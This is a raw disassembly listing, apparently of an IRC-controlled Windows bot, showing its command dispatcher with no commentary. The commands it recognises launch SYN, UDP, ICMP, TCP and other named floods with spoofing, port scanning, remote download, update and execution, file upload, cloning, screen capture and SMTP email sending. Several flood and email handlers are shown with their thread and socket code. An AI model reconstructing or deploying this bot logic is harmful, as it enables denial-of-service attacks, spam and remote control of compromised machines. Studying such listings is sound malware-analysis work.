loc_4061AE: ; CODE XREF: seg000:0040612Ej
push dword ptr [ebp+18h]
push offset aSend ; "send"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_4061FA
cmp edi, ebx
jz short loc_4061F3
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call loc_41976A
push eax
lea eax, [ebp-2C0h]
push offset aS_2 ; "%s"
push eax
call sub_41BA76
add esp, 1Ch
jmp loc_406C7F
; ---------------------------------------------------------------------------
loc_4061F3: ; CODE XREF: seg000:004061C3j
push offset unk_42C4C0
jmp short loc_4061FF
; ---------------------------------------------------------------------------
loc_4061FA: ; CODE XREF: seg000:004061BFj
push offset unk_42C4A4
loc_4061FF: ; CODE XREF: seg000:00404975j
; seg000:00405F95j ...
lea eax, [ebp-2C0h]
loc_406205: ; CODE XREF: seg000:0040601Dj
; seg000:00406027j ...
push eax
call sub_41BA76
pop ecx
pop ecx
jmp loc_406C7F
; ---------------------------------------------------------------------------
loc_406212: ; CODE XREF: seg000:00405F7Aj
push edi
push offset aCapture ; "capture"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408D1B
push edi
push offset aCap ; "cap"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408D1B
push edi
push offset aGethost ; "gethost"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408C37
push edi
push offset aGh ; "gh"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408C37
loc_406266: ; CODE XREF: seg000:004057A8j
; seg000:004057D7j ...
mov edi, [ebp+esi-88h]
cmp edi, ebx
mov [ebp+24h], edi
jz loc_401F82
push dword ptr [ebp+10h]
push offset aKilllog ; "killlog"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408C1A
push dword ptr [ebp+10h]
push offset aKl ; "kl"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408C1A
push dword ptr [ebp+10h]
push offset aAddalias ; "addalias"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408BD9
push dword ptr [ebp+10h]
push offset aAa ; "aa"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408BD9
push dword ptr [ebp+10h]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408B7F
push dword ptr [ebp+10h]
push offset dword_42CBB4
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408B7F
push dword ptr [ebp+10h]
push offset aAction ; "action"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408B0D
push dword ptr [ebp+10h]
push offset aA ; "a"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408B0D
push dword ptr [ebp+10h]
push offset aCycle ; "cycle"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408AA9
push dword ptr [ebp+10h]
push offset aCy ; "cy"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408AA9
push dword ptr [ebp+10h]
push offset aMode ; "mode"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408A6B
push dword ptr [ebp+10h]
push offset aM ; "m"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408A6B
push dword ptr [ebp+10h]
push offset aC_raw ; "c_raw"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4089FF
push dword ptr [ebp+10h]
push offset aC_r ; "c_r"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4089FF
push dword ptr [ebp+10h]
push offset aC_mode ; "c_mode"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40897C
push dword ptr [ebp+10h]
push offset aC_m ; "c_m"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40897C
push dword ptr [ebp+10h]
push offset aC_nick ; "c_nick"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40890F
push dword ptr [ebp+10h]
push offset aC_n ; "c_n"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40890F
push dword ptr [ebp+10h]
push offset aC_join ; "c_join"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4088E9
push dword ptr [ebp+10h]
push offset aC_j ; "c_j"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4088E9
push dword ptr [ebp+10h]
push offset aC_part ; "c_part"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408885
push dword ptr [ebp+10h]
push offset aC_p ; "c_p"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408885
push dword ptr [ebp+10h]
push offset aTarga3 ; "targa3"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40878D
push dword ptr [ebp+10h]
push offset aT3 ; "t3"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40878D
push dword ptr [ebp+10h]
push offset aTsunami ; "tsunami"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4086BC
push dword ptr [ebp+10h]
push offset aTsn ; "tsn"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4086BC
push dword ptr [ebp+10h]
push offset aRepeat ; "repeat"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4085F7
push dword ptr [ebp+10h]
push offset aRp ; "rp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4085F7
push dword ptr [ebp+10h]
push offset aDelay ; "delay"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40855A
push dword ptr [ebp+10h]
push offset aDe ; "de"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40855A
push dword ptr [ebp+10h]
push offset aFalehupd ; "falehupd"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4083DE
push dword ptr [ebp+10h]
push offset aFalehupd2 ; "falehupd2"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4083DE
push dword ptr [ebp+10h]
push offset aExecute ; "execute"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408345
push dword ptr [ebp+10h]
push offset aE ; "e"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408345
push dword ptr [ebp+10h]
push offset aFindfile ; "findfile"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408239
push dword ptr [ebp+10h]
push offset aFf ; "ff"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408239
push dword ptr [ebp+10h]
push offset aRename ; "rename"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4081E8
push dword ptr [ebp+10h]
push offset aMv ; "mv"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4081E8
push dword ptr [ebp+10h]
push offset aIcmpflood ; "icmpflood"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4080EE
push dword ptr [ebp+10h]
push offset aIcmp ; "icmp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4080EE
mov eax, [ebp+esi-84h]
cmp eax, ebx
mov [ebp+8], eax
jz loc_401F82
push dword ptr [ebp+10h]
push offset aClone_0 ; "clone"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408007
push dword ptr [ebp+10h]
push offset aC ; "c"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408007
push dword ptr [ebp+10h]
push offset aDdos_syn ; "ddos.syn"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407EF6
push dword ptr [ebp+10h]
push offset aDdos_ack ; "ddos.ack"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407EF6
push dword ptr [ebp+10h]
push offset aDdos_random ; "ddos.random"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407EF6
push dword ptr [ebp+10h]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_406778
push 7Fh
lea eax, [ebp-348Ch]
pop esi
push esi
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
push esi
lea eax, [ebp-340Ch]
push edi
push eax
call sub_41B7E0
push esi
lea eax, [ebp-338Ch]
push dword ptr [ebp+8]
push eax
call sub_41B7E0
push esi
lea eax, [ebp-330Ch]
push dword ptr [ebp-88h]
push eax
call sub_41B7E0
mov eax, [ebp-8]
mov edi, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-3284h], eax
push ebx
lea eax, [ebp-2C0h]
push 13h
push eax
mov [ebp-3288h], edi
mov [ebp-3490h], esi
call sub_40AF71
add esp, 3Ch
mov [ebp-328Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3490h]
push ebx
push eax
push offset byte_4147E1
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-328Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40676B
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42C310
jmp loc_403E50
; ---------------------------------------------------------------------------
loc_406763: ; CODE XREF: seg000:00406771j
push 32h
call ds:dword_428064 ; Sleep
loc_40676B: ; CODE XREF: seg000:00406750j
cmp [ebp-3280h], ebx
jz short loc_406763
jmp loc_403E5F
; ---------------------------------------------------------------------------
loc_406778: ; CODE XREF: seg000:004066A6j
push dword ptr [ebp+10h]
push offset aSynflood ; "synflood"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407E0F
push dword ptr [ebp+10h]
push offset aSyn ; "syn"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407E0F
push dword ptr [ebp+10h]
push offset aSkysyn ; "skysyn"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_4068A4
push 7Fh
lea eax, [ebp-3064h]
pop esi
push esi
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
push esi
lea eax, [ebp-2FE4h]
push edi
push eax
call sub_41B7E0
push esi
lea eax, [ebp-2F64h]
push dword ptr [ebp+8]
push eax
call sub_41B7E0
push esi
lea eax, [ebp-2EE4h]
push dword ptr [ebp-88h]
push eax
call sub_41B7E0
push dword ptr [ebp+8]
mov eax, [ebp-4]
mov esi, [ebp+0Ch]
mov [ebp-2E60h], eax
mov eax, [ebp-8]
push edi
push dword ptr [ebp+18h]
mov [ebp-2E5Ch], eax
lea eax, [ebp-2C0h]
mov [ebp-3068h], esi
push offset dword_42C2C8
push eax
call sub_41BA76
add esp, 44h
lea eax, [ebp-2C0h]
push ebx
push 10h
push eax
call sub_40AF71
add esp, 0Ch
mov [ebp-2E64h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3068h]
push ebx
push eax
push offset dword_41375C
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-2E64h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_406897
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42C28C
jmp loc_407FD4
; ---------------------------------------------------------------------------
loc_40688F: ; CODE XREF: seg000:0040689Dj
push 32h
call ds:dword_428064 ; Sleep
loc_406897: ; CODE XREF: seg000:0040687Cj
cmp [ebp-2E58h], ebx
jz short loc_40688F
jmp loc_407FE3
; ---------------------------------------------------------------------------
loc_4068A4: ; CODE XREF: seg000:004067B7j
push dword ptr [ebp+10h]
push offset aPhatwonk ; "phatwonk"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407D28
push dword ptr [ebp+10h]
push offset aWonk ; "wonk"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407D28
push dword ptr [ebp+10h]
push offset aFalehdownl ; "falehdownl"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407BEE
push dword ptr [ebp+10h]
push offset aFalehdownl2 ; "falehdownl2"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407BEE
push dword ptr [ebp+10h]
push offset aRedirect ; "redirect"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407AF5
push dword ptr [ebp+10h]
push offset aRd ; "rd"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407AF5
push dword ptr [ebp+10h]
push offset aScan ; "scan"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407A03
push dword ptr [ebp+10h]
push offset aSc ; "sc"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407A03
push dword ptr [ebp+10h]
push offset aC_privmsg ; "c_privmsg"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407926
push dword ptr [ebp+10h]
push offset aC_pm ; "c_pm"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407926
push dword ptr [ebp+10h]
push offset aC_action ; "c_action"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40780C
push dword ptr [ebp+10h]
push offset aC_a ; "c_a"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40780C
mov eax, [ebp+esi-80h]
cmp eax, ebx
mov [ebp+20h], eax
jz loc_401F82
push dword ptr [ebp+10h]
push offset aPortscan ; "portscan"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407707
push dword ptr [ebp+10h]
push offset aPsc ; "psc"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407707
push dword ptr [ebp+10h]
push offset aFofofo ; "fofofo"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407234
push dword ptr [ebp+10h]
push offset aAdfsdgsdgsc ; "adfsdgsdgsc"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407234
push dword ptr [ebp+10h]
push offset aUdpflood ; "udpflood"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407115
push dword ptr [ebp+10h]
push offset aUdp ; "udp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407115
push dword ptr [ebp+10h]
push offset aU ; "u"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_407115
push dword ptr [ebp+10h]
push offset aNetsend ; "netsend"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_406FF9
push dword ptr [ebp+10h]
push offset aNs ; "ns"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_406FF9
push dword ptr [ebp+10h]
push offset aPingflood ; "pingflood"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_406ED3
push dword ptr [ebp+10h]
push offset aPing_0 ; "ping"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_406ED3
push dword ptr [ebp+10h]
push offset aP ; "p"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_406ED3
push dword ptr [ebp+10h]
push offset aTcpflood ; "tcpflood"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_406D0F
push dword ptr [ebp+10h]
push offset aTcp ; "tcp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_406D0F
push dword ptr [ebp+10h]
push offset aEmail ; "email"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_406CB7
push dword ptr [ebp+18h]
lea eax, [ebp-47E8h]
push eax
call sub_41C0A0
push edi
call sub_41B969
push dword ptr [ebp+8]
mov [ebp+18h], eax
lea eax, [ebp-4184h]
push eax
call sub_41C0A0
push dword ptr [ebp+20h]
lea eax, [ebp-4584h]
push eax
call sub_41C0A0
push offset asc_42E0C8 ; " "
push offset dword_42CBB0
push dword ptr [ebp+esi-7Ch]
call sub_4180DD
push eax
lea eax, [ebp-4284h]
push eax
call sub_41C0A0
add esp, 30h
lea eax, [ebp-5584h]
push eax
push 101h
call ds:dword_4CDB68 ; WSAStartup
lea eax, [ebp-47E8h]
push eax
call ds:dword_4CDC7C ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call ds:dword_4CDC78 ; socket
push dword ptr [ebp+18h]
mov esi, eax
mov word ptr [ebp-318h], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp-314h], eax
call ds:dword_4CDBF8 ; htons
mov [ebp-316h], ax
lea eax, [ebp-4284h]
push eax
lea eax, [ebp-4184h]
push eax
lea eax, [ebp-4284h]
push eax
lea eax, [ebp-4584h]
push eax
lea eax, [ebp-4184h]
push eax
lea eax, [ebp-5984h]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41BA76
add esp, 1Ch
lea eax, [ebp-318h]
push 10h
push eax
push esi
call ds:dword_4CDBA0 ; connect
mov edi, 100h
push ebx
lea eax, [ebp-4084h]
push edi
push eax
push esi
call ds:dword_4CDC10 ; recv
lea eax, [ebp-4084h]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp-5984h]
push eax
push esi
call ds:dword_4CDC48 ; send
push ebx
lea eax, [ebp-4084h]
push edi
push eax
push esi
call ds:dword_4CDC10 ; recv
push esi
call ds:dword_4CDC90 ; closesocket
call ds:dword_4CDB50 ; WSACleanup
lea eax, [ebp-4584h]
push eax
push offset unk_42C13C
loc_406C70: ; CODE XREF: seg000:00404984j
; seg000:004080D4j ...
lea eax, [ebp-2C0h]
loc_406C76: ; CODE XREF: seg000:004083D9j
push eax
call sub_41BA76
loc_406C7C: ; CODE XREF: seg000:00403F02j
add esp, 0Ch
loc_406C7F: ; CODE XREF: seg000:00405F9Dj
; seg000:00405FF5j ...
cmp [ebp-8], ebx
jnz short loc_406CA0
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_406CA0: ; CODE XREF: seg000:0040447Fj
; seg000:00404494j ...
mov esi, [ebp+2Ch]
loc_406CA3: ; CODE XREF: seg000:004023FFj
; seg000:0040930Bj ...
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
pop ecx
mov eax, esi
jmp loc_401F85
; ---------------------------------------------------------------------------
loc_406CB7: ; CODE XREF: seg000:00406B1Aj
push dword ptr [ebp+10h]
push offset aHttpcon ; "httpcon"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_406CE1
push dword ptr [ebp+10h]
push offset aHcon ; "hcon"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_407284
loc_406CE1: ; CODE XREF: seg000:00406CC8j
push dword ptr [ebp+esi-7Ch]
push dword ptr [ebp+20h]
push dword ptr [ebp+8]
push edi
call sub_41B969
pop ecx
push eax
push dword ptr [ebp+18h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_410444
jmp loc_409750
; ---------------------------------------------------------------------------
loc_406D0F: ; CODE XREF: seg000:00406AECj
; seg000:00406B03j
push dword ptr [ebp+18h]
mov esi, 80h
lea eax, [ebp-1350h]
push esi
push eax
call sub_41BB70
lea eax, [ebp-1350h]
push eax
push offset aSyn ; "syn"
call sub_41C260
add esp, 14h
test eax, eax
jz short loc_406D74
lea eax, [ebp-1350h]
push eax
push offset aAck ; "ack"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_406D74
lea eax, [ebp-1350h]
push eax
push offset aRandom_0 ; "random"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_406D74
push offset unk_42C0F4
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_406D74: ; CODE XREF: seg000:00406D3Aj
; seg000:00406D51j ...
push dword ptr [ebp+20h]
call sub_41B969
cmp eax, ebx
pop ecx
mov [ebp-1248h], eax
jle loc_406E96
push dword ptr [ebp+18h]
lea eax, [ebp-1350h]
push esi
push eax
call sub_41BB70
push edi
lea eax, [ebp-13D0h]
push esi
push eax
call sub_41BB70
push dword ptr [ebp+8]
call sub_41B969
mov [ebp-124Ch], eax
xor eax, eax
cmp [ebp-8EAh], bl
push dword ptr [ebp-88h]
setnz al
mov [ebp-1244h], eax
mov eax, [ebp+0Ch]
mov [ebp-13D4h], eax
lea eax, [ebp-12D0h]
push esi
push eax
call sub_41BB70
mov eax, [ebp-4]
add esp, 28h
cmp [ebp-1244h], ebx
mov [ebp-1240h], eax
mov eax, [ebp-8]
mov [ebp-123Ch], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406E0B
mov eax, offset aNormal ; "Normal"
loc_406E0B: ; CODE XREF: seg000:00406E04j
push dword ptr [ebp+20h]
push dword ptr [ebp+8]
push edi
push dword ptr [ebp+18h]
push eax
push offset unk_42C0B0
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41BB70
push ebx
lea eax, [ebp-2C0h]
push 14h
push eax
call sub_40AF71
add esp, 2Ch
mov [ebp-1250h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-13D4h]
push ebx
push eax
push offset word_413F56
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-1250h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_406E8C
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42C078
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_406E84: ; CODE XREF: seg000:00406E92j
push 32h
call ds:dword_428064 ; Sleep
loc_406E8C: ; CODE XREF: seg000:00406E71j
cmp [ebp-1238h], ebx
jz short loc_406E84
jmp short loc_406EA9
; ---------------------------------------------------------------------------
loc_406E96: ; CODE XREF: seg000:00406D85j
push offset unk_42C040
loc_406E9B: ; CODE XREF: seg000:00403A88j
; seg000:00403A9Ej ...
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
pop ecx
pop ecx
loc_406EA9: ; CODE XREF: seg000:00403BB9j
; seg000:004040BBj ...
cmp [ebp-8], ebx
jnz loc_4023FC
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
loc_406EC6: ; CODE XREF: seg000:00403E78j
call sub_409966
add esp, 14h
jmp loc_4023FC
; ---------------------------------------------------------------------------
loc_406ED3: ; CODE XREF: seg000:00406AA7j
; seg000:00406ABEj ...
cmp ds:dword_4CDCE4, ebx
jnz loc_406FDE
mov eax, [ebp-8]
push 7Fh
push dword ptr [ebp+18h]
mov [ebp-0FF0h], eax
mov eax, [ebp-4]
mov [ebp-0FF4h], eax
lea eax, [ebp-1088h]
push eax
call sub_41B7E0
push edi
call sub_41B969
push dword ptr [ebp+8]
mov [ebp-1008h], eax
call sub_41B969
push dword ptr [ebp+20h]
mov [ebp-1004h], eax
call sub_41B969
push 7Fh
mov [ebp-1000h], eax
push dword ptr [ebp-88h]
lea eax, [ebp-1108h]
push eax
call sub_41B7E0
push dword ptr [ebp-1000h]
mov eax, [ebp+0Ch]
mov [ebp-110Ch], eax
lea eax, [ebp-1088h]
push dword ptr [ebp-1004h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp-1008h]
push offset unk_42BFF8
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 16h
push eax
call sub_40AF71
add esp, 48h
mov [ebp-0FF8h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-110Ch]
push ebx
push eax
push offset byte_4133B9
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-0FF8h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_406FD1
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BFBC
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_406FC9: ; CODE XREF: seg000:00406FD7j
push 32h
call ds:dword_428064 ; Sleep
loc_406FD1: ; CODE XREF: seg000:00406FB6j
cmp [ebp-0FECh], ebx
jz short loc_406FC9
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_406FDE: ; CODE XREF: seg000:00406ED9j
push 1FFh
lea eax, [ebp-2C0h]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41B7E0
jmp loc_405F4E
; ---------------------------------------------------------------------------
loc_406FF9: ; CODE XREF: seg000:00406A79j
; seg000:00406A90j
push edi
lea eax, [ebp-2C0h]
push dword ptr [ebp+18h]
push dword ptr [ebp+8]
push offset unk_42BF68
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
push dword ptr [ebp+8]
call sub_41B1D0
push edi
mov [ebp+28h], eax
call sub_41B1D0
mov ecx, [ebp+28h]
push dword ptr [ebp+18h]
add ecx, eax
mov [ebp+28h], ecx
call sub_41B1D0
mov ecx, [ebp+28h]
push dword ptr [ebp+10h]
add ecx, eax
mov [ebp+28h], ecx
call sub_41B1D0
add eax, [ebp-0Ch]
mov ecx, [ebp+28h]
push dword ptr [ebp+20h]
lea eax, [eax+ecx+7]
push eax
call sub_41BAF0
add esp, 40h
mov [ebp+14h], eax
push dword ptr [ebp+8]
call sub_41B969
mov edi, [ebp+24h]
cmp eax, ebx
pop ecx
mov [ebp+1Ch], eax
mov [ebp+28h], ebx
jle short loc_407101
loc_40708A: ; CODE XREF: seg000:004070AEj
push dword ptr [ebp+14h]
push edi
push dword ptr [ebp+18h]
call loc_418788
add esp, 0Ch
cmp eax, 1
mov [ebp+24h], eax
jz short loc_4070B2
cmp eax, ebx
jnz short loc_4070D1
inc dword ptr [ebp+28h]
mov eax, [ebp+28h]
cmp eax, [ebp+1Ch]
jl short loc_40708A
jmp short loc_40710A
; ---------------------------------------------------------------------------
loc_4070B2: ; CODE XREF: seg000:0040709Fj
push ebx
push dword ptr [ebp-4]
push offset unk_42BF30
loc_4070BB: ; CODE XREF: seg000:00407113j
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
jmp loc_407284
; ---------------------------------------------------------------------------
loc_4070D1: ; CODE XREF: seg000:004070A3j
push dword ptr [ebp+24h]
lea eax, [ebp-2C0h]
push offset unk_42BEFC
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 20h
loc_407101: ; CODE XREF: seg000:00407088j
cmp [ebp+24h], ebx
jnz loc_407284
loc_40710A: ; CODE XREF: seg000:004070B0j
push ebx
push dword ptr [ebp-4]
push offset unk_42BEC8
jmp short loc_4070BB
; ---------------------------------------------------------------------------
loc_407115: ; CODE XREF: seg000:00406A34j
; seg000:00406A4Bj ...
mov eax, [ebp-8]
push 7Fh
push dword ptr [ebp+18h]
mov [ebp-0C60h], eax
mov eax, [ebp-4]
mov [ebp-0C64h], eax
lea eax, [ebp-0CF8h]
push eax
call sub_41B7E0
push edi
call sub_41B969
push dword ptr [ebp+8]
mov [ebp-0C78h], eax
call sub_41B969
push dword ptr [ebp+20h]
mov [ebp-0C74h], eax
call sub_41B969
mov esi, [ebp+esi-7Ch]
add esp, 18h
cmp esi, ebx
mov [ebp-0C70h], eax
jz short loc_40717A
push esi
call sub_41B969
pop ecx
mov [ebp-0C6Ch], eax
jmp short loc_407180
; ---------------------------------------------------------------------------
loc_40717A: ; CODE XREF: seg000:00407169j
mov [ebp-0C6Ch], ebx
loc_407180: ; CODE XREF: seg000:00407178j
push 7Fh
lea eax, [ebp-0D78h]
push dword ptr [ebp-88h]
push eax
call sub_41B7E0
push dword ptr [ebp-0C70h]
mov esi, [ebp+0Ch]
lea eax, [ebp-0CF8h]
mov [ebp-0D7Ch], esi
push dword ptr [ebp-0C74h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp-0C78h]
push offset unk_42BE80
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 17h
push eax
call sub_40AF71
add esp, 30h
mov [ebp-0C68h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0D7Ch]
push ebx
push eax
push offset byte_413545
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-0C68h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_407227
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42BE48
jmp loc_407FD4
; ---------------------------------------------------------------------------
loc_40721F: ; CODE XREF: seg000:0040722Dj
push 32h
call ds:dword_428064 ; Sleep
loc_407227: ; CODE XREF: seg000:0040720Cj
cmp [ebp-0C5Ch], ebx
jz short loc_40721F
jmp loc_407FE3
; ---------------------------------------------------------------------------
loc_407234: ; CODE XREF: seg000:00406A06j
; seg000:00406A1Dj
push 0Bh
call sub_40B1B3
push edi
mov [ebp+24h], eax
call sub_41B969
add eax, [ebp+24h]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_4073FD
push dword ptr [ebp+24h]
lea eax, [ebp-2C0h]
push offset unk_42BE08
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 20h
loc_407284: ; CODE XREF: seg000:00406CDBj
; seg000:004070CCj ...
mov esi, [ebp+esi-7Ch]
cmp esi, ebx
jz loc_401F82
push dword ptr [ebp+10h]
push offset aUpload ; "upload"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_409753
push 4
push esi
call sub_41697A
pop ecx
test eax, eax
pop ecx
jnz short loc_4072CF
push esi
push offset unk_42BDE0
loc_4072BB: ; CODE XREF: seg000:00409559j
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
add esp, 0Ch
jmp loc_403FA7
; ---------------------------------------------------------------------------
loc_4072CF: ; CODE XREF: seg000:004072B3j
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
pop ecx
call sub_41BAD2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41BAD2
push 63h
cdq
